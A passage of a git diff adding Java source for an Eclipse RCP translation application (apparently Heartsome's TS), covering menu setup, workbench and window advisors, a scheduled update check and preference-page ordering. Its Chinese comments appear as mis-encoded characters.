返回编辑èœå•çš„ menu manager; + */ + private MenuManager createEditMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.edit"), + IWorkbenchActionConstants.M_EDIT); // &Edit + menu.add(new GroupMarker(IWorkbenchActionConstants.EDIT_START)); + // menu.add(undoAction); + // menu.add(redoAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.UNDO_EXT)); + menu.add(new Separator()); + menu.add(cutAction); + menu.add(copyAction); + menu.add(pasteAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.CUT_EXT)); + menu.add(new Separator()); + menu.add(findAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.FIND_EXT)); + menu.add(new GroupMarker(IWorkbenchActionConstants.EDIT_END)); + return menu; + } + + /** + * 创建帮助èœå• + * @return 返回帮助èœå•çš„ menu manager; + */ + private MenuManager createHelpMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.help"), + IWorkbenchActionConstants.M_HELP); + menu.add(helpAction); + menu.add(new GroupMarker("help.keyAssist")); + menu.add(new Separator()); + menu.add(new GroupMarker("help.updatePlugin")); + menu.add(new Separator()); + menu.add(new GroupMarker("help.license")); + // 关于èœå•éœ€è¦å§‹ç»ˆæ˜¾ç¤ºåœ¨æœ€åº•ç«¯ + menu.add(new GroupMarker("group.about")); + return menu; + } + + /** + * 创建自定义的æ’件èœå• 2012-03-07 + * @return ; + */ + /* + * private MenuManager createAutoPluginMenu() { MenuManager menu = new MenuManager("asdfasd", + * "net.heartsome.cat.ts.ui.menu.plugin"); // menu = MenuManag + * + * // menu.appendToGroup(groupName, item) menu.add(helpSearchAction); return menu; } + */ + + @Override + public void dispose() { + if (isDisposed) { + return; + } + isDisposed = true; + IMenuService menuService = (IMenuService) window.getService(IMenuService.class); + menuService.releaseContributions(coolbarPopupMenuManager); + coolbarPopupMenuManager.dispose(); + super.dispose(); + } + + /** + * 移除无用的èœå•é¡¹ï¼š
    + * File èœå•ä¸‹çš„“open file...â€å’Œâ€œConvert Line Delimiters To†+ */ + private void removeUnusedAction() { + ActionSetRegistry reg = WorkbenchPlugin.getDefault().getActionSetRegistry(); + IActionSetDescriptor[] actionSets = reg.getActionSets(); + + List actionSetIds = Arrays.asList("org.eclipse.ui.actionSet.openFiles", + "org.eclipse.ui.edit.text.actionSet.convertLineDelimitersTo", + "org.eclipse.ui.actions.showKeyAssistHandler"); + for (int i = 0; i < actionSets.length; i++) { + if (actionSetIds.contains(actionSets[i].getId())) { + IExtension ext = actionSets[i].getConfigurationElement().getDeclaringExtension(); + reg.removeExtension(ext, new Object[] { actionSets[i] }); + } + } + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationWorkbenchAdvisor.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationWorkbenchAdvisor.java new file mode 100644 index 0000000..50390b3 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationWorkbenchAdvisor.java @@ -0,0 +1,101 @@ +package net.heartsome.cat.ts; + +import java.net.URL; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.application.IWorkbenchConfigurer; +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchAdvisor; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; +import org.eclipse.ui.ide.IDE; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.model.ContributionComparator; +import org.eclipse.ui.model.IContributionService; +import org.osgi.framework.Bundle; + +/** + * @author cheney + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ApplicationWorkbenchAdvisor extends WorkbenchAdvisor { + + public static ApplicationWorkbenchWindowAdvisor WorkbenchWindowAdvisor = null; + + @Override + public WorkbenchWindowAdvisor createWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + WorkbenchWindowAdvisor = new ApplicationWorkbenchWindowAdvisor(configurer); + return WorkbenchWindowAdvisor; + } + + @Override + public String getInitialWindowPerspectiveId() { + return TSPerspective.ID; + } + + @Override + public IAdaptable getDefaultPageInput() { + return ResourcesPlugin.getWorkspace().getRoot(); + } + + @Override + public void initialize(IWorkbenchConfigurer configurer) { + // make sure we always save and restore workspace state + configurer.setSaveAndRestore(true); + + IDE.registerAdapters(); + declareWorkbenchImages(); + } + + /** + * 声明所需è¦ä½¿ç”¨çš„图片; + */ + private void declareWorkbenchImages() { + final String iconsPath = "$nl$/icons/full/"; //$NON-NLS-1$ + final String pathElocaltool = iconsPath + "elcl16/"; // Enabled //$NON-NLS-1$ + final String pathObject = iconsPath + "obj16/"; // Model object //$NON-NLS-1$ + + Bundle ideBundle = Platform.getBundle(IDEWorkbenchPlugin.IDE_WORKBENCH); + + declareWorkbenchImage(ideBundle, IDE.SharedImages.IMG_OBJ_PROJECT, pathObject + "prj_obj.gif", true); //$NON-NLS-1$ + declareWorkbenchImage(ideBundle, IDE.SharedImages.IMG_OBJ_PROJECT_CLOSED, pathObject + "cprj_obj.gif", true); //$NON-NLS-1$ + declareWorkbenchImage(ideBundle, IDE.SharedImages.IMG_OPEN_MARKER, pathElocaltool + "gotoobj_tsk.gif", true); //$NON-NLS-1$ + + declareWorkbenchImage(ideBundle, IDE.SharedImages.IMG_OBJS_TASK_TSK, pathObject + "taskmrk_tsk.gif", true); //$NON-NLS-1$ + declareWorkbenchImage(ideBundle, IDE.SharedImages.IMG_OBJS_BKMRK_TSK, pathObject + "bkmrk_tsk.gif", true); //$NON-NLS-1$ + } + + /** + * Declares an IDE-specific workbench image. + * @param symbolicName + * the symbolic name of the image + * @param path + * the path of the image file; this path is relative to the base of the IDE plug-in + * @param shared + * true if this is a shared image, and false if this is not a shared image + * @see IWorkbenchConfigurer#declareImage + */ + private void declareWorkbenchImage(Bundle ideBundle, String symbolicName, String path, boolean shared) { + URL url = FileLocator.find(ideBundle, new Path(path), null); + ImageDescriptor desc = ImageDescriptor.createFromURL(url); + getWorkbenchConfigurer().declareImage(symbolicName, desc, shared); + } + + /** + * 对首选项èœå•æŽ’åºæ—¶ï¼Œéœ€è¦è¦†ç›–该方法 + */ + public ContributionComparator getComparatorFor(String contributionType) { + if (contributionType.equals(IContributionService.TYPE_PREFERENCE)) { + return new PreferencesComparator(); + } + else { + return super.getComparatorFor(contributionType); + } + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationWorkbenchWindowAdvisor.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationWorkbenchWindowAdvisor.java new file mode 100644 index 0000000..280eeae --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationWorkbenchWindowAdvisor.java @@ -0,0 +1,496 @@ +package net.heartsome.cat.ts; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Calendar; +import java.util.Collections; +import java.util.List; + +import net.heartsome.cat.common.ui.listener.PartAdapter2; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.p2update.autoupdate.AutomaticUpdate; +import net.heartsome.cat.ts.drop.EditorAreaDropAdapter; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.jface.action.IContributionItem; +import org.eclipse.jface.action.ToolBarContributionItem; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.LocalSelectionTransfer; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IPerspectiveDescriptor; +import org.eclipse.ui.IPerspectiveListener; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPartReference; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.CopyFilesAndFoldersOperation; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.contexts.IContextActivation; +import org.eclipse.ui.contexts.IContextService; +import org.eclipse.ui.handlers.IHandlerService; +import org.eclipse.ui.internal.WorkbenchWindow; +import org.eclipse.ui.internal.help.WorkbenchHelpSystem; +import org.eclipse.ui.internal.ide.IDEInternalPreferences; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.navigator.CommonNavigator; +import org.eclipse.ui.wizards.IWizardCategory; +import org.eclipse.ui.wizards.IWizardDescriptor; + +/** + * @author cheney,weachy + * @version + * @since JDK1.5 + */ +@SuppressWarnings("restriction") +public class ApplicationWorkbenchWindowAdvisor extends WorkbenchWindowAdvisor { + private static final String AUTO_UPDATE_FLAG = "AUTO_UPDATE_FLAG"; + + /** + * @param configurer + */ + public ApplicationWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + super(configurer); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.application.WorkbenchWindowAdvisor#createActionBarAdvisor(org.eclipse.ui.application.IActionBarConfigurer) + */ + public ActionBarAdvisor createActionBarAdvisor(IActionBarConfigurer configurer) { + return new ApplicationActionBarAdvisor(configurer); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.application.WorkbenchWindowAdvisor#preWindowOpen() + */ + public void preWindowOpen() { + IWorkbenchWindowConfigurer configurer = getWindowConfigurer(); + + // show the shortcut bar and progress indicator, which are hidden by default + configurer.setShowCoolBar(true); + + // 检查是å¦æ˜¾ç¤ºè£…æ€æ  robert 2011-11-04 true为显示,false为éšè—,默认显示. + IPreferenceStore prefs = Activator.getDefault().getPreferenceStore(); + boolean visibleStatus = prefs.getBoolean(TsPreferencesConstant.TS_statusBar_status); + configurer.setShowStatusLine(visibleStatus); + configurer.setShowProgressIndicator(true); + // 添加“编辑区域â€çš„传递者(org.eclipse.swt.dnd.Transfer) + configurer.addEditorAreaTransfer(LocalSelectionTransfer.getTransfer()); + configurer.addEditorAreaTransfer(FileTransfer.getInstance()); + // 添加“编辑区域â€çš„é‡Šæ”¾æ‹–æ‹½ç›‘å¬ + configurer.configureEditorAreaDropListener(new EditorAreaDropAdapter(configurer.getWindow())); + + // æ³¨é‡Šæ•´ç† + // TODO æ ¹æ®æ³¨å†Œçš„转æ¢å™¨æ’件,动æ€æ·»åŠ  XLIFF Editor 映射的文件åŽç¼€å。 + // abw,html,htm,inx,properties,js,mif,doc,xls,ppt,docx,xlsx,pptx,ppsx,sxw,sxc,sxi,sxd,odt,ods,odp,odg,txt,ttx,po,pot,rc,resx,rtf,svg,xml + // String[] extensions = FileFormatUtils.getExtensions(); + // for (String extension : extensions) { + // PlatformUI + // .getWorkbench() + // .getEditorRegistry() + // .setDefaultEditor(extension, + // "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"); + // } + + // beginå±è”½æŽ‰å‘导中的General部分 + // AbstractExtensionWizardRegistry wizardRegistry = (AbstractExtensionWizardRegistry) WorkbenchPlugin + // .getDefault().getNewWizardRegistry(); + // IWizardCategory[] categories = WorkbenchPlugin.getDefault() + // .getNewWizardRegistry().getRootCategory().getCategories(); + // for (IWizardDescriptor wizard : getAllWizards(categories)) { + // WorkbenchWizardElement wizardElement = (WorkbenchWizardElement) wizard; + // if (!allowedWizard(wizardElement.getId())) { + // wizardRegistry.removeExtension(wizardElement + // .getConfigurationElement().getDeclaringExtension(), + // new Object[] { wizardElement }); + // } + // } + // end + configurer.setShowPerspectiveBar(true); + } + + private IWizardDescriptor[] getAllWizards(IWizardCategory... categories) { + List results = new ArrayList(); + for (IWizardCategory wizardCategory : categories) { + results.addAll(Arrays.asList(wizardCategory.getWizards())); + results.addAll(Arrays.asList(getAllWizards(wizardCategory.getCategories()))); + } + return results.toArray(new IWizardDescriptor[0]); + } + + protected static final List FILE_NEW__ALLOWED_WIZARDS = Collections.unmodifiableList(Arrays + .asList(new String[] { + // "org.eclipse.ui.wizards.new.project",// Basic wizards + // "org.eclipse.ui.wizards.new.folder",// Basic wizards + // "org.eclipse.ui.wizards.new.file" // Basic wizards + "net.heartsome.cat.ts.ui.wizards.new.folder", "net.heartsome.cat.database.ui.tb.wizard.createDb", + "net.heartsome.cat.database.ui.tm.wizad.newTmDb", + "net.heartsome.cat.ts.ui.wizards.NewProjectWizard" })); + + protected boolean allowedWizard(String wizardId) { + return FILE_NEW__ALLOWED_WIZARDS.contains(wizardId); + } + + @Override + public void postWindowOpen() { + IWorkbenchWindow workbenchWindow = getWindowConfigurer().getWindow(); + workbenchWindow.getShell().setMaximized(true); + + final ICommandService commandService = (ICommandService) workbenchWindow.getService(ICommandService.class); + // 在程åºä¸»ä½“窗å£æ‰“开之å‰ï¼Œæ›´æ–°æ‰“开工具æ çš„èœå•ï¼Œè®©å®ƒåˆå§‹åŒ–èœå•å›¾ç‰‡ --robert 2012-03-19 + commandService.refreshElements("net.heartsome.cat.ts.openToolBarCommand", null); + + // æ·»åŠ ç›‘å¬ + addViewPartVisibleListener(workbenchWindow); + + // 自动检查更新 + automaticCheckUpdate(); + + // 设置将文件拖到导航视图时的模å¼ä¸ºç›´æŽ¥å¤åˆ¶ + setDragModle(); + + setListenerToPespective(commandService); + + setIdToHelpSystem(); + + setProgressIndicatorVisible(false); + + setInitLinkEnable(); + + // å¤„ç† hunspell 内置è¯å…¸å†…置文件 + try { + CommonFunction.unZipHunspellDics(); + } catch (Exception e) { + e.printStackTrace(); + } + + PlatformUI.getWorkbench().getActiveWorkbenchWindow().addPerspectiveListener(new IPerspectiveListener() { + private IContextActivation te; + private IContextActivation ts; + public void perspectiveChanged(IWorkbenchPage page, IPerspectiveDescriptor perspective, String changeId) { + } + + public void perspectiveActivated(IWorkbenchPage page, IPerspectiveDescriptor perspective) { + IContextService service = (IContextService) page.getWorkbenchWindow().getService(IContextService.class); + if(perspective.getId().equals("net.heartsome.cat.te.perspective")){ + te = service.activateContext("net.heartsome.cat.te.context"); + service.deactivateContext(ts); + page.setEditorAreaVisible(false); + } else { + page.setEditorAreaVisible(true); + if(te != null){ + service.deactivateContext(te); + } + ts = service.activateContext("net.heartsome.cat.ts.context"); + } + } + }); + } + + @Override + public boolean preWindowShellClose() { + return super.preWindowShellClose(); + } + + private void addViewPartVisibleListener(final IWorkbenchWindow window) { + final ICommandService commandService = (ICommandService) window.getService(ICommandService.class); + + window.getActivePage().addPartListener(new PartAdapter2() { + private void setStates(String partId) { + if ("net.heartsome.cat.common.ui.navigator.view".equals(partId)) { + commandService.refreshElements("net.heartsome.cat.common.ui.navigator.command.OpenNavigatorView", + null); + } else if ("net.heartsome.cat.ts.ui.views.DocumentPropertiesViewPart".equals(partId)) { + commandService.refreshElements( + "net.heartsome.cat.ts.ui.handlers.OpenDocumentPropertiesViewCommand", null); + } else if ("net.heartsome.cat.ts.ui.translation.view.matchview".equals(partId)) { + commandService.refreshElements("net.heartsome.cat.ts.ui.translation.menu.command.openMatchView", + null); + } else if ("net.heartsome.cat.ts.ui.term.view.termView".equals(partId)) { + commandService.refreshElements("net.heartsome.cat.ts.ui.term.command.openTermView", null); + } else if ("net.heartsome.cat.ts.ui.qa.views.QAResultViewPart".equals(partId)) { + commandService.refreshElements("net.heartsome.cat.ts.ui.qa.handlers.OpenQAResultViewCommand", null); + } + } + + /** + * 视图打开时 + * @see org.eclipse.ui.IPartListener2#partOpened(org.eclipse.ui.IWorkbenchPartReference) + */ + public void partOpened(final IWorkbenchPartReference partRef) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setStates(partRef.getId()); + } + }); + } + + /** + * 视图关闭时 + * @see org.eclipse.ui.IPartListener2#partClosed(org.eclipse.ui.IWorkbenchPartReference) + */ + public void partClosed(IWorkbenchPartReference partRef) { + if (!partRef.getPage().getWorkbenchWindow().getWorkbench().isClosing()) { + setStates(partRef.getId()); + } + + // 关闭时,根æ®æ˜¯å¦æ˜¯åˆå¹¶æ‰“开的文件,如果是,标识其是å¦è¢«å­˜å‚¨--robert + if ("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor".equals(partRef.getId())) { + if (partRef.getPage().getWorkbenchWindow().getWorkbench().isClosing()) { + IXliffEditor xlfEditor = (IXliffEditor) partRef.getPart(true); + xlfEditor.setStore(true); + } + } + } + }); + } + + /** + * 状æ€æ çš„显示与éšè— robert 2011-11-03 + */ + public void setStatusVisible(boolean visible) { + getWindowConfigurer().setShowProgressIndicator(visible); + getWindowConfigurer().setShowStatusLine(visible); + getWindowConfigurer().getWindow().getShell().layout(); + } + + /** + * 控制状æ€æ å³è¾¹çš„åŽå°è¿›åº¦æ¡çš„显示 robert 2012-11-07 + */ + public void setProgressIndicatorVisible(boolean isVisible){ + boolean isProgessIndicatorVisble = getWindowConfigurer().getShowProgressIndicator(); + if ((isProgessIndicatorVisble && isVisible) || (!isProgessIndicatorVisble && !isVisible)) { + return; + } + getWindowConfigurer().setShowStatusLine(false); + getWindowConfigurer().setShowProgressIndicator(isVisible); + getWindowConfigurer().setShowStatusLine(true); + getWindowConfigurer().getWindow().getShell().layout(); + } + + /** + * 当程åºç¬¬ä¸€æ¬¡è¿è¡Œæ—¶(或是é‡æ–°æ¢äº†å‘½å空间),设置项目视图的 link with editor æŒ‰é’®å¤„äºŽé€‰ä¸­çŠ¶æ€ + * robert 2013-01-04 + */ + private void setInitLinkEnable(){ + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + boolean isInitialRun = !store.getBoolean(IPreferenceConstants.INITIAL_RUN); + if (isInitialRun) { + IViewPart navigator = getWindowConfigurer().getWindow().getActivePage().findView("net.heartsome.cat.common.ui.navigator.view"); + System.out.println("navigator.getViewSite() = " + navigator.getViewSite()); + CommonNavigator commonNavigator = (CommonNavigator) navigator; + commonNavigator.setLinkingEnabled(true); + store.setValue(IPreferenceConstants.INITIAL_RUN, true); + } + } + + /** + * 删除 RCP 自带的工具æ æŒ‰é’® + */ + public void postWindowCreate() { + IActionBarConfigurer actionBarConfigurer = getWindowConfigurer().getActionBarConfigurer(); + IContributionItem[] coolItems = actionBarConfigurer.getCoolBarManager().getItems(); + for (int i = 0; i < coolItems.length; i++) { + if (coolItems[i] instanceof ToolBarContributionItem) { + ToolBarContributionItem toolbarItem = (ToolBarContributionItem) coolItems[i]; + if (toolbarItem.getId().equals("org.eclipse.ui.WorkingSetActionSet") + || toolbarItem.getId().equals("org.eclipse.ui.edit.text.actionSet.annotationNavigation") + || toolbarItem.getId().equals("org.eclipse.ui.edit.text.actionSet.navigation")) { + toolbarItem.getToolBarManager().removeAll(); + } + } + } + actionBarConfigurer.getCoolBarManager().update(true); + + addAutoPluginMenu(); + + } + + private void automaticCheckUpdate() { + // 自动检查更新 + final IPreferenceStore prefStore = net.heartsome.cat.ts.ui.Activator.getDefault().getPreferenceStore(); + int updatePolicy = prefStore.getInt(IPreferenceConstants.SYSTEM_AUTO_UPDATE); + boolean flg = false; + if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_NEVER) { + return; + } else if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_STARTUP) { + // å¯åŠ¨æ—¶æ£€æŸ¥æ›´æ–° + flg = true; + } else if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY) { + // æ¯æœˆ xx 日检查更新 + int day = prefStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE); + Calendar c = Calendar.getInstance(); + int cYear = c.get(Calendar.YEAR); + int cMoth = c.get(Calendar.MONTH) + 1; + int cDay = c.get(Calendar.DAY_OF_MONTH); + String preUpdateDay = prefStore.getString("AUTO_UPDATE_FLAG"); + if (preUpdateDay.equals("")) { + if (cDay == day) { + flg = true; + prefStore.setValue("AUTO_UPDATE_FLAG", cYear + "-" + cMoth + "-" + cDay); + } + } else { + String[] ymdStr = preUpdateDay.split("-"); + Calendar uc = Calendar.getInstance(); + int uYeaer = Integer.parseInt(ymdStr[0]); + int uMonth = Integer.parseInt(ymdStr[1]); + int uDay = Integer.parseInt(ymdStr[2]); + uc.set(uYeaer, uMonth - 1, uDay); + if(cDay == day && c.getTime().compareTo(uc.getTime()) > 0){ + flg = true; + prefStore.setValue("AUTO_UPDATE_FLAG", cYear + "-" + cMoth + "-" + cDay); + }else if( cDay > day && (uYeaer < cYear || uMonth < cMoth )){ + flg = true; + prefStore.setValue("AUTO_UPDATE_FLAG", cYear + "-" + cMoth + "-" + cDay); + } + } + } else if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY) { + // æ¯å‘¨ xx 日检查更新 + int weekday = prefStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE); + Calendar c = Calendar.getInstance(); + int cWeekDay = c.get(Calendar.DAY_OF_WEEK); + int cYear = c.get(Calendar.YEAR); + int cMoth = c.get(Calendar.MONTH) + 1; + int cDay = c.get(Calendar.DAY_OF_MONTH); + String preUpdateDay = prefStore.getString(AUTO_UPDATE_FLAG); + if (preUpdateDay.equals("")) { + if (cWeekDay == weekday) { + flg = true; + prefStore.setValue(AUTO_UPDATE_FLAG, cYear + "-" + cMoth + "-" + cDay); + } + } else { + String[] ymdStr = preUpdateDay.split("-"); + Calendar uc = Calendar.getInstance(); + int uYeaer = Integer.parseInt(ymdStr[0]); + uc.set(uYeaer, Integer.parseInt(ymdStr[1]) - 1, Integer.parseInt(ymdStr[2])); + + if (cWeekDay == weekday && c.getTime().compareTo(uc.getTime()) > 0) { + flg = true; + prefStore.setValue(AUTO_UPDATE_FLAG, cYear + "-" + cMoth + "-" + cDay); + }else if(cWeekDay > weekday && (uYeaer < cYear || uc.get(Calendar.WEEK_OF_YEAR) < c.get(Calendar.WEEK_OF_YEAR))){ + flg = true; + prefStore.setValue(AUTO_UPDATE_FLAG, cYear + "-" + cMoth + "-" + cDay); + } + } + } + + if (!flg) { + return; + } + AutomaticUpdate checker = new AutomaticUpdate(); + checker.checkForUpdates(); + } + + /** + * 设置在拖动文件到导航视图时的模å¼ä¸ºç›´æŽ¥å¤åˆ¶ï¼Œè§ç±» {@link CopyFilesAndFoldersOperation} 的方法 CopyFilesAndFoldersOperation + * robert 09-26 + */ + private void setDragModle(){ + IPreferenceStore store= IDEWorkbenchPlugin.getDefault().getPreferenceStore(); + store.setValue(IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_MODE, + IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_MODE_MOVE_COPY); + store.setValue(IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_VIRTUAL_FOLDER_MODE, + IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_MODE_MOVE_COPY); + } + + /** + * 给默认é€è§†å›¾æ·»åŠ ç›‘å¬ï¼Œå½“é€è§†å›¾å‘生改å˜æ—¶ï¼Œè§¦å‘相关事件 robert 2012-10-18 + * @param commandService + */ + private void setListenerToPespective(final ICommandService commandService){ + final IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + + IPerspectiveListener perspectiveListener = new IPerspectiveListener() { + public void perspectiveChanged(IWorkbenchPage page, + IPerspectiveDescriptor perspective, String changeId) { + + } + + public void perspectiveActivated(IWorkbenchPage page, + IPerspectiveDescriptor perspective) { + // 改å˜é€è§†å›¾æ—¶ï¼Œå‘出监å¬åŽ»æ£€æŸ¥å“质检查结果视图的状æ€ï¼Œä»Žè€Œè®© 视图 èœå•çš„状æ€ä¸Žä¹‹ä¿æŒä¸€è‡´ã€‚ + commandService.refreshElements("net.heartsome.cat.ts.ui.qa.handlers.OpenQAResultViewCommand", null); + + // 显示状æ€æ ä¸Žå·¥å…·æ  + IHandlerService handlerService = (IHandlerService) window.getService(IHandlerService.class); + + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + boolean statusVisible = preferenceStore.getBoolean(TsPreferencesConstant.TS_statusBar_status); + if (!statusVisible) { + preferenceStore.setValue(TsPreferencesConstant.TS_statusBar_status, false); + try { + handlerService.executeCommand("net.heartsome.cat.ts.command.openStatusBar", null); + } catch (Exception ex) { + throw new RuntimeException("CommandTest.exitcommand not found"); + } + } + + WorkbenchWindow window_1 = (WorkbenchWindow)window; + if (!window_1.getCoolBarVisible()) { + try { + window_1.toggleToolbarVisibility(); + commandService.refreshElements("net.heartsome.cat.ts.command.openToolBar", null); + } catch (Exception ex) { + throw new RuntimeException("CommandTest.exitcommand not found"); + } + } + + } + }; + + window.addPerspectiveListener(perspectiveListener); + } + + @SuppressWarnings("restriction") + private void setIdToHelpSystem(){ + WorkbenchHelpSystem helpSystem = (WorkbenchHelpSystem)PlatformUI.getWorkbench().getHelpSystem(); //setDesiredHelpSystemId + // net.heartsome.cat.ts.ui.help.selfHelp 为 æ’件 net.heartsome.cat.ts.ui.help 与的扩展点 helpSupport çš„ id + helpSystem.setDesiredHelpSystemId("net.heartsome.cat.ts.ui.help.selfHelp"); + } + + /** + * 在æ’件一æ ä¸Šï¼Œæ·»åŠ è‡ªå®šä¹‰æ’件的èœå• robert 2012-03-07 ; + */ + private void addAutoPluginMenu() { + // IContributionItem[] mItems; + // IMenuManager mm = getWindowConfigurer().getActionBarConfigurer().getMenuManager(); + // mItems = mm.getItems(); + // for (int i = 0; i < mItems.length; i++) { + // if (mItems[i] instanceof MenuManager) { + // System.out.println(); + // if (((MenuManager) mItems[i]).getId().equals("net.heartsome.cat.ts.ui.menu.plugin")) { + // MenuManager manager = ((MenuManager) mItems[i]); + // + // final PluginConfigManage pluginManage = new PluginConfigManage(); + // List pluginList = pluginManage.getPluginCofigData(); + // + // if (pluginList.size() > 0) { + // manager.add(new Separator()); + // } + // Action action; + // for (int j = 0; j < pluginList.size(); j++) { + // final PluginConfigBean bean = pluginList.get(j); + // action = new Action() { + // @Override + // public void run() { + // pluginManage.executePlugin(bean); + // } + // }; + // action.setId(bean.getId()); + // action.setText(bean.getName()); + // manager.add(action); + // } + // } + // } + // } + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/CommandsPropertyTester.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/CommandsPropertyTester.java new file mode 100644 index 0000000..29189da --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/CommandsPropertyTester.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.ts; + +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.State; +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.handlers.RegistryToggleState; +import org.eclipse.ui.services.IServiceLocator; + +public class CommandsPropertyTester extends PropertyTester { + + public CommandsPropertyTester() { + // TODO Auto-generated constructor stub + } + + public static final String NAMESPACE = "org.eclipse.core.commands"; //$NON-NLS-1$ + public static final String PROPERTY_BASE = NAMESPACE + '.'; + public static final String TOGGLE_PROPERTY_NAME = "toggle"; //$NON-NLS-1$ + public static final String TOGGLE_PROPERTY = PROPERTY_BASE + + TOGGLE_PROPERTY_NAME; + + public boolean test(final Object receiver, final String property, + final Object[] args, final Object expectedValue) { + if (receiver instanceof IServiceLocator && args.length == 1 + && args[0] instanceof String) { + final IServiceLocator locator = (IServiceLocator) receiver; + if (TOGGLE_PROPERTY_NAME.equals(property)) { + final String commandId = args[0].toString(); + final ICommandService commandService = (ICommandService) locator + .getService(ICommandService.class); + final Command command = commandService.getCommand(commandId); + final State state = command + .getState(RegistryToggleState.STATE_ID); + if (state != null) { + return state.getValue().equals(expectedValue); + } + } + } + return false; + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/PreferencesComparator.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/PreferencesComparator.java new file mode 100644 index 0000000..3a63255 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/PreferencesComparator.java @@ -0,0 +1,98 @@ +package net.heartsome.cat.ts; + +import net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage; +import net.heartsome.cat.ts.ui.preferencepage.SystemPreferencePage; +import net.heartsome.cat.ts.ui.preferencepage.colors.ColorsPreferencePage; +import net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage; + +import org.eclipse.ui.internal.dialogs.WorkbenchPreferenceNode; +import org.eclipse.ui.model.ContributionComparator; +import org.eclipse.ui.model.IComparableContribution; + +/** + * 用户对首选项èœå•è¿›è¡ŒæŽ’åºçš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class PreferencesComparator extends ContributionComparator { + public int category(IComparableContribution c) { + if (c instanceof WorkbenchPreferenceNode) { + String id = ((WorkbenchPreferenceNode) c).getId(); + if (SystemPreferencePage.ID.equals(id)) { + // 系统èœå• + return 2; + } else if (LanguageCodesPreferencePage.ID.equals(id)) { + // 系统 > 语言代ç èœå• + return 3; + } else if (ColorsPreferencePage.ID.equals(id)) { + // 系统 > 颜色èœå• + return 4; + } else if ("org.eclipse.ui.preferencePages.Keys".equals(id)) { + // 系统 > å¿«æ·é”®èœå• + return 5; + } else if ("org.eclipse.ui.net.proxy_preference_page_context".equals(id)) { + // 网络连接 + return 6; + } else if ("net.heartsome.cat.ts.ui.qa.preference.QAPage".equals(id)) { + // å“质检查èœå• + return 7; + } else if 